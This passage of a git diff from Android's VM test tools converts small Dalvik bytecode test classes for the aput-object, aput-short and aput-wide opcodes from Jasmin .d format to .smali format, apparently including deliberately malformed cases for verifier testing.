+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_7.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.d
deleted file mode 100644
index e6259bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_8.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([FILjava/lang/String;)V
-.limit regs 10
-
-       aput-object v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali
new file mode 100644
index 0000000..7d4c17a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_8.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([FILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.d
deleted file mode 100644
index 96bced3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_9.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JILjava/lang/String;)V
-.limit regs 10
-
-       aput-object v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali
new file mode 100644
index 0000000..2471664
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_9.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.d
deleted file mode 100644
index f89cbb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_1.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIS)V
-.limit regs 11
-
-       aput-short v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali
new file mode 100644
index 0000000..5461f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_1.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 11
+
+       aput-short v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.d
deleted file mode 100644
index 9d63757..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_2.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SDS)V
-.limit regs 11
-
-
-       aput-short v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali
new file mode 100644
index 0000000..e351e7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_2.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SDS)V
+.registers 11
+
+
+       aput-short v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.d
deleted file mode 100644
index c9990b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_3.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIJ)V
-.limit regs 11
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali
new file mode 100644
index 0000000..5d07372
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_3.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIJ)V
+.registers 11
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.d
deleted file mode 100644
index 24b2d92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_4.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IS)V
-.limit regs 10
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali
new file mode 100644
index 0000000..2becd7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_4.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.d
deleted file mode 100644
index 4a9dabc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_5.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIS)V
-.limit regs 10
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali
new file mode 100644
index 0000000..6ed3b0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_5.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.d
deleted file mode 100644
index ed8cfd3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_6.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIS)V
-.limit regs 10
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali
new file mode 100644
index 0000000..351c804
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_6.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.d
deleted file mode 100644
index 9927025..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_7.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIS)V
-.limit regs 10
-
-       aput-short v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali
new file mode 100644
index 0000000..960e94a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_7.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 10
+
+       aput-short v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.d
deleted file mode 100644
index 099de06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_8.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SFS)V
-.limit regs 11
-
-       aput-short v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali
new file mode 100644
index 0000000..fec3a71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_8.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SFS)V
+.registers 11
+
+       aput-short v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.d
deleted file mode 100644
index 46efab3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_9.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIS)V
-.limit regs 11
-
-       aput-short v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali
new file mode 100644
index 0000000..0f4f827
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_9.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 11
+
+       aput-short v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.d
deleted file mode 100644
index 2890417..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_1.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali
new file mode 100644
index 0000000..baa5c67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_1.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.d
deleted file mode 100644
